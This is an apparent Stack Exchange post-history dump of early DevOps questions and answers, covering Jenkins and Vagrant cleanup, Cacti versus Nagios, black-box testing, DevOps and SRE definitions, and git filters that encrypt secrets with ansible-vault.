  <row Id="218" PostHistoryTypeId="1" PostId="87" RevisionGUID="7ee6a868-b129-4d72-ac5a-52eaea0b1cd4" CreationDate="2017-02-28T18:37:25.087" UserId="3" Text="How to terminate EC2 instance in Jenkins via Vagrant when job is stopped manually?" ContentLicense="CC BY-SA 3.0" />
  <row Id="219" PostHistoryTypeId="3" PostId="87" RevisionGUID="7ee6a868-b129-4d72-ac5a-52eaea0b1cd4" CreationDate="2017-02-28T18:37:25.087" UserId="3" Text="&lt;jenkins&gt;&lt;amazon-ec2&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="220" PostHistoryTypeId="2" PostId="88" RevisionGUID="ff18eb09-5677-4543-a212-c24ae5469ee6" CreationDate="2017-02-28T18:37:25.087" UserId="3" Text="Adding the following *Script* command in *Post-build Action*, *Post build task* solved the problem:&#xD;&#xA;&#xD;&#xA;    vagrant destroy -f&#xD;&#xA;&#xD;&#xA;Plus adding rule with *Log text* as &quot;Build was aborted&quot; make sure that above command is only invoked on aborted builds.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="221" PostHistoryTypeId="5" PostId="85" RevisionGUID="d1db6e55-be69-40cb-92ce-7992028b8d06" CreationDate="2017-02-28T18:40:50.537" UserId="6" Comment="expanded explanation about failure and netflix blog posts" Text="In March 2015 Amazon AWS announced they support S3 replication across regions. When a certain region in S3 goes offline, you can serve files from your mirror in another region.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Source: [Cross-Region Replication for Amazon S3][1]&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;The practice of keeping your infrastructure online by doing a switch over to antoher region is a complex one, but S3 is a relatively small and simple component. Netflix have a [great article][2] on their experience with Chaos Gorilla.&#xD;&#xA;&#xD;&#xA;This also applies to service degradation, like increased latency. Not just when a service you depend upon is completely offline. Netflix have an article on this as well - http://techblog.netflix.com/2015/09/chaos-engineering-upgraded.html&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/blogs/aws/new-cross-region-replication-for-amazon-s3/&#xD;&#xA;  [2]: http://techblog.netflix.com/2013/12/active-active-for-multi-regional.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="225" PostHistoryTypeId="2" PostId="90" RevisionGUID="ddc1d6ac-b915-4d63-813b-dc630341ff9a" CreationDate="2017-02-28T18:54:47.077" UserId="72" Text="&gt;  DevOps is about maintaining code, is that correct?&#xD;&#xA;&#xD;&#xA;I would say no, DevOps is not &quot;just&quot; about code, or systems, or any one thing.  DevOps is a very general term that covers *all* things related to *software delivery.*&#xD;&#xA;&#xD;&#xA;Site Reliability Engineering is a term popularized by Google.  Here's there TL;DR:&#xD;&#xA;&#xD;&#xA;&gt; Fundamentally, it’s what happens when you ask a software engineer to&#xD;&#xA;&gt; design an operations function.&#xD;&#xA;&#xD;&#xA;Operations, Engineering, and Software Development are blurring together.  The degree of automation required to create and maintain a mature infrastructure requires skills from all three.  SREs are admins, *and* engineers, *and* developers.&#xD;&#xA;&#xD;&#xA;References:  &#xD;&#xA;https://landing.google.com/sre/interview/ben-treynor.html  &#xD;&#xA;http://shop.oreilly.com/product/0636920041528.do" ContentLicense="CC BY-SA 3.0" />
  <row Id="226" PostHistoryTypeId="2" PostId="91" RevisionGUID="2087f9e5-aadf-455e-9097-cceb43ebb8d3" CreationDate="2017-02-28T19:01:02.043" UserId="124" Text="DevOps is not an 'offspring of Agile', though it has been influenced by concepts from the *Manifesto for Agile Software Development*. DevOps consists of a set of characteristics of building, deploying, and monitoring software systems, as well as configuration management of source code, with a heavy emphasis on continuous integration and continuous delivery (CI/CD).&#xD;&#xA;&#xD;&#xA;Adam Jacobs effectively defines *DevOps* in this presentation: [AWS re:Invent 2016: What hundreds of companies show us about how to build a DevOps Culture (DEV320)][1]&#xD;&#xA;&#xD;&#xA;On a related note: about the use of the word *Agile*, Dave Thomas corrects its usage in the GOTO 2015 presentation [Agile is Dead][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=uK0vmT0QYfI&amp;index=14&amp;list=PLhr1KZpdzukdPNwdTvedPlGp90Qbz1VVB&#xD;&#xA;  [2]: https://www.youtube.com/watch?v=a-BOSpxYJ9M" ContentLicense="CC BY-SA 3.0" />
  <row Id="227" PostHistoryTypeId="2" PostId="92" RevisionGUID="fc7d9b2c-b1d2-444a-851c-c00e46376603" CreationDate="2017-02-28T19:08:58.697" UserId="3" Text="So far I was using Nagios monitoring system, however I'm not familiar with Cacti. How does Cacti compares to Nagios?" ContentLicense="CC BY-SA 3.0" />
  <row Id="228" PostHistoryTypeId="1" PostId="92" RevisionGUID="fc7d9b2c-b1d2-444a-851c-c00e46376603" CreationDate="2017-02-28T19:08:58.697" UserId="3" Text="How Cacti compares to Nagios?" ContentLicense="CC BY-SA 3.0" />
  <row Id="229" PostHistoryTypeId="3" PostId="92" RevisionGUID="fc7d9b2c-b1d2-444a-851c-c00e46376603" CreationDate="2017-02-28T19:08:58.697" UserId="3" Text="&lt;nagios&gt;&lt;cacti&gt;&lt;network-monitoring&gt;&lt;comparison&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="230" PostHistoryTypeId="2" PostId="93" RevisionGUID="d701dc4d-daa7-4d4c-90ba-cf23e8c96198" CreationDate="2017-02-28T19:13:22.010" UserId="57" Text="Nagios is generic monitoring solution which can be extended by using snmp agents, custom plugins and so on.&#xD;&#xA;&#xD;&#xA;Cacti is a complete frontend to RRDTool, it stores all of the necessary information to create graphs and populate them with data in a MySQL database (from [here][1])&#xD;&#xA;&#xD;&#xA;Cacti can be used as graph solution in Nagios to represent in graphic manner historical data (memory usage, processor usage, network bandwidth and so on)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cacti.net/what_is_cacti.php" ContentLicense="CC BY-SA 3.0" />
  <row Id="231" PostHistoryTypeId="10" PostId="54" RevisionGUID="d72b0dbc-687a-493b-8d2a-57a441b8615b" CreationDate="2017-02-28T19:15:41.120" UserId="-1" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:44,&quot;DisplayName&quot;:&quot;Sathya&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:15,&quot;DisplayName&quot;:&quot;Gepser&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;}]}" />
  <row Id="232" PostHistoryTypeId="10" PostId="78" RevisionGUID="930fd839-5c8a-4ef5-b6b6-0d2cca0d10b2" CreationDate="2017-02-28T19:16:58.177" UserId="-1" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:44,&quot;DisplayName&quot;:&quot;Sathya&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;},{&quot;Id&quot;:72,&quot;DisplayName&quot;:&quot;Dave Swersky&quot;},{&quot;Id&quot;:37,&quot;DisplayName&quot;:&quot;Henry WH Hack v2.0&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;}]}" />
  <row Id="233" PostHistoryTypeId="5" PostId="93" RevisionGUID="368dbb37-f602-45af-b1c1-a3697f95abb6" CreationDate="2017-02-28T19:21:53.167" UserId="57" Comment="add quotes" Text="Nagios is generic monitoring solution which can be extended by using snmp agents, custom plugins and so on.&#xD;&#xA;&#xD;&#xA;&gt; Cacti is a complete frontend to RRDTool, it stores all of the&#xD;&#xA;&gt; necessary information to create graphs and populate them with data in&#xD;&#xA;&gt; a MySQL database&#xD;&#xA;&#xD;&#xA; (from [here][1])&#xD;&#xA;&#xD;&#xA;Cacti can be used as graph solution in Nagios to represent in graphic manner historical data (memory usage, processor usage, network bandwidth and so on)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cacti.net/what_is_cacti.php" ContentLicense="CC BY-SA 3.0" />
  <row Id="234" PostHistoryTypeId="2" PostId="94" RevisionGUID="8d718f91-6da9-44fc-80b9-477e17f5063f" CreationDate="2017-02-28T19:27:08.857" UserId="3" Text="What is &quot;black box&quot; testing and how it is different from ordinary testing? For example black box tests prior to deploying to production." ContentLicense="CC BY-SA 3.0" />
  <row Id="235" PostHistoryTypeId="1" PostId="94" RevisionGUID="8d718f91-6da9-44fc-80b9-477e17f5063f" CreationDate="2017-02-28T19:27:08.857" UserId="3" Text="What is &quot;black box&quot; testing?" ContentLicense="CC BY-SA 3.0" />
  <row Id="236" PostHistoryTypeId="3" PostId="94" RevisionGUID="8d718f91-6da9-44fc-80b9-477e17f5063f" CreationDate="2017-02-28T19:27:08.857" UserId="3" Text="&lt;testing&gt;&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="237" PostHistoryTypeId="2" PostId="95" RevisionGUID="962697c7-2677-4e21-ba8d-8c3085e78abd" CreationDate="2017-02-28T19:35:42.397" UserId="57" Text="I will make my answer, based on the knowledge for security testing, but IMHO this can be generalized.&#xD;&#xA;&#xD;&#xA;Black box testing - when the tester know nothing about the system, components, liaisons, connections, etc. This can be helpful more like UI/UX testing, functional testing. Example: you do not work for Microsoft and also you do not have the source code and need to test MS Office&#xD;&#xA;&#xD;&#xA;Gray box testing - when the tester have some knowledge about how the system work, some information about internals.&#xD;&#xA;&#xD;&#xA;White box testing - when the tester have or can get all the information about internals, connections, principles of work of the tested product. Example: test Linux kernel" ContentLicense="CC BY-SA 3.0" />
  <row Id="238" PostHistoryTypeId="2" PostId="96" RevisionGUID="14cc4136-3386-4ec9-bd59-f3d031ad97bd" CreationDate="2017-02-28T19:35:45.853" UserId="132" Text="Dave Swersky already posted an excellent response above with Ben Treynor's definition of SRE, which is as poignant today as it was in 2003.&#xD;&#xA;&#xD;&#xA;&gt; Fundamentally, it’s what happens when you ask a software engineer to design an operations function.&#xD;&#xA;&#xD;&#xA;So, in an attempt to further define &quot;DevOps&quot;, here's an excerpt from [*Effective DevOps*][1] by Jennifer Davis &amp; Katherine Daniels:&#xD;&#xA;&#xD;&#xA;&gt; Devops is a way of thinking and a way of working. It is a framework&#xD;&#xA;&gt; for sharing stories and developing empathy... [it's] is not just&#xD;&#xA;&gt; another software development methodology.&#xD;&#xA;&gt; &#xD;&#xA;&gt; [P]ractices can include software development methods, or features like&#xD;&#xA;&gt; infrastructure automation and continuous delivery, [although] it is&#xD;&#xA;&gt; much more than just the sum of these parts.&#xD;&#xA;&gt; &#xD;&#xA;&gt; While these concepts are related and may be frequently seen in devops&#xD;&#xA;&gt; environments, focusing solely on them misses the bigger picture--the&#xD;&#xA;&gt; cultural and interpersonal aspects that give devops its power.&#xD;&#xA;&#xD;&#xA;In summary: an effective SRE will leverage DevOps practices.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;Also: &#xD;&#xA;&#xD;&#xA;&gt;How do I know which group is responsible for what?&#xD;&#xA;&#xD;&#xA;Ownership should not be implicit; communicate!&#xD;&#xA;&#xD;&#xA;  [1]: http://shop.oreilly.com/product/0636920039846.do&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="239" PostHistoryTypeId="5" PostId="95" RevisionGUID="8b2c6a65-fc38-437c-abc2-79bfc651a595" CreationDate="2017-02-28T19:38:59.700" UserId="3" Comment="Improves post formatting." Text="I will make my answer, based on the knowledge for security testing, but IMHO this can be generalized.&#xD;&#xA;&#xD;&#xA;- Black box testing - when the tester know nothing about the system, components, liaisons, connections, etc. This can be helpful more like UI/UX testing, functional testing. Example: you do not work for Microsoft and also you do not have the source code and need to test MS Office&#xD;&#xA;&#xD;&#xA;- Gray box testing - when the tester have some knowledge about how the system work, some information about internals.&#xD;&#xA;&#xD;&#xA;- White box testing - when the tester have or can get all the information about internals, connections, principles of work of the tested product. Example: testing Linux kernel." ContentLicense="CC BY-SA 3.0" />
  <row Id="240" PostHistoryTypeId="24" PostId="95" RevisionGUID="8b2c6a65-fc38-437c-abc2-79bfc651a595" CreationDate="2017-02-28T19:38:59.700" Comment="Proposed by 3 approved by 57 edit id of 18" ContentLicense="CC BY-SA 3.0" />
  <row Id="241" PostHistoryTypeId="5" PostId="95" RevisionGUID="d22fe5ff-29bc-49fa-ac12-da2a2caa2a71" CreationDate="2017-02-28T19:42:05.033" UserId="57" Comment="Add reference to Wikipedia" Text="I will make my answer, based on the knowledge for security testing, but IMHO this can be generalized.&#xD;&#xA;&#xD;&#xA;- Black box testing - when the tester know nothing about the system, components, liaisons, connections, etc. This can be helpful more like UI/UX testing, functional testing. Example: you do not work for Microsoft and also you do not have the source code and need to test MS Office&#xD;&#xA;&#xD;&#xA;- Gray box testing - when the tester have some knowledge about how the system work, some information about internals.&#xD;&#xA;&#xD;&#xA;- White box testing - when the tester have or can get all the information about internals, connections, principles of work of the tested product. Example: testing Linux kernel.&#xD;&#xA;&#xD;&#xA;For reference:&#xD;&#xA;&#xD;&#xA;[Black box testing][1] (Wikipedia)&#xD;&#xA;&#xD;&#xA;[White box testing][2] (Wikipedia)&#xD;&#xA;&#xD;&#xA;[Gray box testing][3] (Wikipedia)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Black-box_testing&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/White-box_testing&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Gray_box_testing" ContentLicense="CC BY-SA 3.0" />
  <row Id="242" PostHistoryTypeId="5" PostId="93" RevisionGUID="6cf5b559-8392-4a8c-acf9-ed4408b39239" CreationDate="2017-02-28T19:48:07.427" UserId="57" Comment="add standalone usage of Cacti" Text="Nagios is generic monitoring solution which can be extended by using snmp agents, custom plugins and so on.&#xD;&#xA;&#xD;&#xA;&gt; Cacti is a complete frontend to RRDTool, it stores all of the&#xD;&#xA;&gt; necessary information to create graphs and populate them with data in&#xD;&#xA;&gt; a MySQL database&#xD;&#xA;&#xD;&#xA; (from [here][1])&#xD;&#xA;&#xD;&#xA;Cacti can be used as graph solution in Nagios to represent in graphic manner historical data (memory usage, processor usage, network bandwidth and so on). Cacti of course can be used also as standalone system and generate graphical presentation of data, collected from logs, via scripts and so on. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.cacti.net/what_is_cacti.php" ContentLicense="CC BY-SA 3.0" />
  <row Id="243" PostHistoryTypeId="2" PostId="97" RevisionGUID="4259492b-9c7b-4993-b0dd-98c79cc91824" CreationDate="2017-02-28T19:57:00.873" UserId="154" Text="Instead of using Travis' deployment features, build the deployment logic in to your normal &quot;test&quot; script(s). For a PaaS this might be as simple as pushing to another git remote if all tests pass, but the sky is the limit." ContentLicense="CC BY-SA 3.0" />
  <row Id="244" PostHistoryTypeId="2" PostId="98" RevisionGUID="394e9631-2ebe-4554-b902-21cec614816e" CreationDate="2017-02-28T19:59:25.327" UserId="143" Text="Looking at trying to build some resilience into our Ansible setup which deals with provisioning and configuration. &#xD;&#xA;&#xD;&#xA;I understand a few methods of testing on the configuration side of things but I'm wondering how best to implement testing on the provisioning side of things, and if there are any tools which can help with this type of implementation.&#xD;&#xA;&#xD;&#xA;Currently a lot of our testing is done serially during the playbook which makes a lot of sense for stuff like &quot;has service come up; is the vip available; has this async task finished&quot; but what really concerns me is our ability to manage drift of configuration at both the application and provisioning layer (such as VM configuration). I'm aware Ansible isn't the best tool for working with configuration drift but I'm curious to see your own opinions.&#xD;&#xA;&#xD;&#xA;If you have something to fully automate the process even better. (we have a few ugly scripts which report back in slack daily)" ContentLicense="CC BY-SA 3.0" />
  <row Id="245" PostHistoryTypeId="1" PostId="98" RevisionGUID="394e9631-2ebe-4554-b902-21cec614816e" CreationDate="2017-02-28T19:59:25.327" UserId="143" Text="Tools &amp; methods for provisioning and configuration" ContentLicense="CC BY-SA 3.0" />
  <row Id="246" PostHistoryTypeId="3" PostId="98" RevisionGUID="394e9631-2ebe-4554-b902-21cec614816e" CreationDate="2017-02-28T19:59:25.327" UserId="143" Text="&lt;testing&gt;&lt;ansible&gt;&lt;configuration&gt;&lt;provisioning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="247" PostHistoryTypeId="2" PostId="99" RevisionGUID="ee9315b6-8e93-43d1-9a6c-959cb2bf1b42" CreationDate="2017-02-28T20:01:28.683" UserId="143" Text="I looked at a few different ways but I particularly liked git-crypt for an adhoc thing to do before implementing something bigger like Vault." ContentLicense="CC BY-SA 3.0" />
  <row Id="249" PostHistoryTypeId="2" PostId="100" RevisionGUID="8d6d8753-498a-48f8-b3bd-36a64372195c" CreationDate="2017-02-28T20:05:06.090" UserId="47" Text="&#xD;&#xA;Scope-wise, Agile covers **development** of software, i.e. mostly/only the `Dev` aspects of `DevOps`.&#xD;&#xA;&#xD;&#xA;They best work together, however they are not exactly conditioned/dependent on each-other:&#xD;&#xA;&#xD;&#xA;- non-devopsy orgs can still use agile in development&#xD;&#xA;- devopsy orgs can still use non-agile development methodologies" ContentLicense="CC BY-SA 3.0" />
  <row Id="250" PostHistoryTypeId="4" PostId="98" RevisionGUID="0014d255-2cd0-4d84-8153-da2be71f2ca1" CreationDate="2017-02-28T20:08:35.590" UserId="143" Comment="edited title" Text="Tools &amp; methods for testing provisioning and configuration" ContentLicense="CC BY-SA 3.0" />
  <row Id="251" PostHistoryTypeId="5" PostId="90" RevisionGUID="6c92d3f4-0d60-4888-ba66-9aa5c25386c2" CreationDate="2017-02-28T20:14:40.353" UserId="91" Comment="slight cleanup for presentation purposes" Text="&gt;  DevOps is about maintaining code, is that correct?&#xD;&#xA;&#xD;&#xA;**DevOps** is not &quot;just&quot; about code, or systems, or any one thing.  DevOps is a very general term that covers *all* things related to *software delivery.*&#xD;&#xA;&#xD;&#xA;**Site Reliability Engineering** is a term popularized by Google. From this article https://landing.google.com/sre/interview/ben-treynor.html we can distill their TL;DR:&#xD;&#xA;&#xD;&#xA;&gt; Fundamentally, it’s what happens when you ask a software engineer to&#xD;&#xA;&gt; design an operations function.&#xD;&#xA;&#xD;&#xA;Operations, Engineering, and Software Development are blurring together.  The degree of automation required to create and maintain a mature infrastructure requires skills from all three.  SREs are admins, *and* engineers, *and* developers.&#xD;&#xA;&#xD;&#xA;See also: &#xD;&#xA;http://shop.oreilly.com/product/0636920041528.do" ContentLicense="CC BY-SA 3.0" />
  <row Id="252" PostHistoryTypeId="24" PostId="90" RevisionGUID="6c92d3f4-0d60-4888-ba66-9aa5c25386c2" CreationDate="2017-02-28T20:14:40.353" Comment="Proposed by 91 approved by 72 edit id of 16" ContentLicense="CC BY-SA 3.0" />
  <row Id="253" PostHistoryTypeId="2" PostId="101" RevisionGUID="919274c5-7169-403c-b9c6-32cacd9303f4" CreationDate="2017-02-28T20:18:08.307" UserId="154" Text="This is pretty deep in to &quot;opinion based&quot; but here goes:&#xD;&#xA;&#xD;&#xA;While most definitions of &quot;DevOps&quot; are independent of specific tools and techniques, it is very often combined with things like test automation (e.g. Jenkins, Travis-CI) and deployment automation (e.g. Chef, Capistrano, Kubernetes). Those two together act as a forcing function to push up quality levels of software by making it both easier to use tests to ensure things don't break and making it easier to fix breakages when they do occur.&#xD;&#xA;&#xD;&#xA;That said, I really doubt that number captures the full story. Like so many things, &quot;software quality&quot; is easy to talk about but difficult to define." ContentLicense="CC BY-SA 3.0" />
  <row Id="254" PostHistoryTypeId="2" PostId="102" RevisionGUID="451b0ac6-4f67-4b87-b62f-43209e2dfccd" CreationDate="2017-02-28T20:44:26.593" UserId="72" Text="The two tools I've seen for this are [InSpec][1] and [ServerSpec][2].  They're both Ruby-based tools that build on [RSpec][3].&#xD;&#xA;&#xD;&#xA;I've used ServerSpec. It's cool, but maybe not 100% stable. I've had problems with testing for specific versions of software on Ubuntu.&#xD;&#xA;&#xD;&#xA;I've read the InSpec docs but haven't dug in deep.  It does essentially the same thing as Serverspec.  &#xD;&#xA;&#xD;&#xA;Judging by the Github commits, it looks like work on Serverspec has tailed off somewhat, whereas InSpec is just getting ramped up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.chef.io/inspec/&#xD;&#xA;  [2]: http://serverspec.org/&#xD;&#xA;  [3]: http://rspec.info/" ContentLicense="CC BY-SA 3.0" />
  <row Id="255" PostHistoryTypeId="2" PostId="103" RevisionGUID="bc9b742d-3ee6-4a90-983d-ade5d237746f" CreationDate="2017-02-28T20:47:25.550" UserId="154" Text="No, but you can just ignore it which you would be doing anyway if it wasn't there." ContentLicense="CC BY-SA 3.0" />
  <row Id="256" PostHistoryTypeId="5" PostId="18" RevisionGUID="a5b6932f-d8a0-42dd-82f7-e99f9907f2d6" CreationDate="2017-02-28T20:48:50.420" UserId="14" Comment="added 31 characters in body" Text="The [Jenkins website](https://jenkins.io/blog/2011/01/11/hudsons-future/) has a blog post on this issue:&#xD;&#xA;&#xD;&#xA;&gt; But one issue, which we feel is the most significant issue of all, one for which we now believe no resolution is possible: the rights to the name Hudson.&#xD;&#xA;&#xD;&#xA;&gt; Oracle has told us that they have trademark applications filed in both the EU and US for Hudson, based on Hudson's creation by Kohsuke while working at Sun. The problem is that this trademark ownership gives Oracle the ability to revoke the Hudson project's right to call itself Hudson at any time, and while Oracle has made an attempt to offer some guarantees (most notably, that binary releases of Hudson, once they've been released with the name Hudson attached, will always retain the right to the name), they are not offering any binding guarantee that the Hudson project will be able to retain its use of the name in perpetuity.&#xD;&#xA;&#xD;&#xA;&gt; Therefore, to continue using the name Hudson means ceding some of the project's independence to Oracle - if the project and its governance board opted to go in a direction Oracle disapproved of, Oracle would be able to take away the naming rights. Or, in a less dramatic scenario, Oracle could insist on certain changes to the code, infrastructure decisions, process, etc, regardless of opposition from the Hudson development community, in order to retain the rights to the name.&#xD;&#xA;&#xD;&#xA;The Jenkins team were concerned that using the name 'Hudson' would give Oracle far too much control over the project, because there was a constant threat that if the project didn't do what Oracle wanted, they'd simply yank the rights to the trademark. &#xD;&#xA;&#xD;&#xA;In order to retain independence, the developers of Hudson voted to rename the project Jenkins. However, here's where it gets confusing. Oracle chose to **continue developing Hudson**, essentially making Jenkins a fork because the code started to diverge. There is some dispute about whether this is really a fork or a rename, although it's more an argument over semantics than constructive discussion.&#xD;&#xA;&#xD;&#xA;As of now:&#xD;&#xA;&#xD;&#xA;- Jenkins has become the predominant version, and [interest in Hudson has collapsed](https://en.wikipedia.org/wiki/Hudson_(software))&#xD;&#xA;&#xD;&#xA;- Hudson is now [managed by the Eclipse Foundation](https://eclipse.org/hudson/), after Oracle gave up development and donated the code to Eclipse." ContentLicense="CC BY-SA 3.0" />
  <row Id="259" PostHistoryTypeId="2" PostId="104" RevisionGUID="fbb093b3-5b9c-412b-bf46-a21fba3546f5" CreationDate="2017-02-28T20:56:58.677" UserId="185" Text="Is there a common practice for migrating a large repository of Jenkins job-dsl to Jenkins2 pipelines? I am looking for ways to test the behaviour of builds, that go a little further than comparison of generated artifact from same code base." ContentLicense="CC BY-SA 3.0" />
  <row Id="260" PostHistoryTypeId="1" PostId="104" RevisionGUID="fbb093b3-5b9c-412b-bf46-a21fba3546f5" CreationDate="2017-02-28T20:56:58.677" UserId="185" Text="Upgrade from job-dsl to Jenkins 2 pipelines" ContentLicense="CC BY-SA 3.0" />
  <row Id="261" PostHistoryTypeId="3" PostId="104" RevisionGUID="fbb093b3-5b9c-412b-bf46-a21fba3546f5" CreationDate="2017-02-28T20:56:58.677" UserId="185" Text="&lt;jenkins&gt;&lt;job-dsl&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="262" PostHistoryTypeId="2" PostId="105" RevisionGUID="1a5c0e60-5fdb-43f8-9752-cca31eed9e01" CreationDate="2017-02-28T21:06:58.877" UserId="185" Text="We are using Ansible 1.9 for deploying spring-boot microservices, packaged as rpm packages on centos 6. We intend to configure the executable jar files to be supervised by runit, instead of sysvinit or upstart.&#xD;&#xA;&#xD;&#xA;Is it reasonable to package the runit config inside the rpm, and let Ansible only deploy specific properties into /etc/sysconfig, or a better way to use Ansible for the full runit config exist, so that the service would be decoupled from that host configuration?" ContentLicense="CC BY-SA 3.0" />
  <row Id="263" PostHistoryTypeId="1" PostId="105" RevisionGUID="1a5c0e60-5fdb-43f8-9752-cca31eed9e01" CreationDate="2017-02-28T21:06:58.877" UserId="185" Text="Ansible playbook for configuring runit to supervise an uberjar?" ContentLicense="CC BY-SA 3.0" />
  <row Id="264" PostHistoryTypeId="3" PostId="105" RevisionGUID="1a5c0e60-5fdb-43f8-9752-cca31eed9e01" CreationDate="2017-02-28T21:06:58.877" UserId="185" Text="&lt;ansible&gt;&lt;microservices&gt;&lt;runit&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="265" PostHistoryTypeId="2" PostId="106" RevisionGUID="d0fb4b67-8d99-425d-9858-71f0d0f9f930" CreationDate="2017-02-28T21:12:28.083" UserId="185" Text="I am trying to setup [clean/smudge filter][1] in git to have automatic encrypting and decrypting of files containing secrets thru [ansible-vault][2] command.&#xD;&#xA;&#xD;&#xA;Peculiarity of the ansible-vault command is that it is not idempotent (it creates a different binary each time it is invoked on the same data).&#xD;&#xA;&#xD;&#xA;I started with the implementation suggested in [this blog page][3]. Unfortunately it did not work correctly, as whenever smudge is called (be it a git checkout &lt;branch&gt;, or just git status), the secret files looks as modified for git, even if it is not.&#xD;&#xA;&#xD;&#xA;So I wondered if git would be comparing the binary he has in the index with the clean filtered current file, and I tried to build on those script like follows:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh -x&#xD;&#xA;    # clean filter, it is invoked with %f&#xD;&#xA;&#xD;&#xA;    if [ ! -r &quot;$HOME/.vault_password&quot; ]; then&#xD;&#xA;      exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    tmp=`mktemp`&#xD;&#xA;    cat &gt; $tmp&#xD;&#xA;    &#xD;&#xA;    # get the plain text from the binary in the index&#xD;&#xA;    tmphead=`mktemp`&#xD;&#xA;    git show HEAD:$1 &gt; $tmphead&#xD;&#xA;    contenthead=`echo &quot;embedded&quot; | ansible-vault view $tmphead --vault-password-file=$HOME/.vault_password`&#xD;&#xA;    export PAGER=cat&#xD;&#xA;    echo -n &quot;$contenthead&quot; | tee $tmphead&#xD;&#xA;    &#xD;&#xA;    # if current and index plain text version differ&#xD;&#xA;    if [ &quot;`md5sum $tmp | cut -d' ' -f1`&quot; != &quot;`md5sum $tmphead | cut -d' ' -f1`&quot; ]; then&#xD;&#xA;      tmpcrypt=`mktemp`&#xD;&#xA;      cp $tmp $tmpcrypt&#xD;&#xA;      # generate a new crypted blob&#xD;&#xA;      echo &quot;embedded&quot; | ansible-vault encrypt $tmpcrypt --vault-password-file=$HOME/.vault_password &gt; /dev/null 2&gt;&amp;1&#xD;&#xA;      cat &quot;$tmpcrypt&quot;&#xD;&#xA;    else&#xD;&#xA;      # just return the HEAD version&#xD;&#xA;      cat &quot;$tmphead&quot;&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    rm $tmp $tmphead $tmpcrypt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The difference here is that it tries to compare the current and HEAD versions of the plain text (unencrypted) secret files, and only in case they differ output a new binary blob encrypted with ansible-vault.&#xD;&#xA;&#xD;&#xA;Unfortunately, after this change git continues to think the secret file is always modified. Even after `git add`ing the file again, so that the git blob is computed, git thinks the file is different and let the change go into the commit. Note that `git diff` return empty changes, as it should.&#xD;&#xA;&#xD;&#xA;For reference, this is smudge:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    if [ ! -r &quot;$HOME/.vault_password&quot; ]; then&#xD;&#xA;      exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    tmp=`mktemp`&#xD;&#xA;    cat &gt; $tmp&#xD;&#xA;    &#xD;&#xA;    export PAGER='cat'&#xD;&#xA;    CONTENT=&quot;`echo &quot;embedded&quot; | ansible-vault view &quot;$tmp&quot; --vault-password-file=$HOME/.vault_password 2&gt; /dev/null`&quot;&#xD;&#xA;    &#xD;&#xA;    if echo &quot;$CONTENT&quot; | grep 'ERROR: data is not encrypted' &gt; /dev/null; then&#xD;&#xA;      echo &quot;Looks like one file was commited clear text&quot;&#xD;&#xA;      echo &quot;Please fix this before continuing !&quot;&#xD;&#xA;      exit 1&#xD;&#xA;    else&#xD;&#xA;      echo -n &quot;$CONTENT&quot;&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    rm $tmp&#xD;&#xA;&#xD;&#xA;and this is diff:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    if [ ! -r &quot;$HOME/.vault_password&quot; ]; then&#xD;&#xA;      exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    export PAGER='cat'&#xD;&#xA;    CONTENT=`echo &quot;embedded&quot; | ansible-vault view &quot;$1&quot; --vault-password-file=$HOME/.vault_password 2&gt; /dev/null`&#xD;&#xA;    &#xD;&#xA;    if echo &quot;$CONTENT&quot; | grep 'ERROR: data is not encrypted' &gt; /dev/null; then&#xD;&#xA;      cat &quot;$1&quot;&#xD;&#xA;    else&#xD;&#xA;      echo &quot;$CONTENT&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://git-scm.com/book/en/v2/Customizing-Git-Git-Attributes&#xD;&#xA;  [2]: http://docs.ansible.com/ansible/playbooks_vault.html#encrypting-unencrypted-files&#xD;&#xA;  [3]: https://leucos.github.io/articles/transparent-vault-revisited/" ContentLicense="CC BY-SA 3.0" />
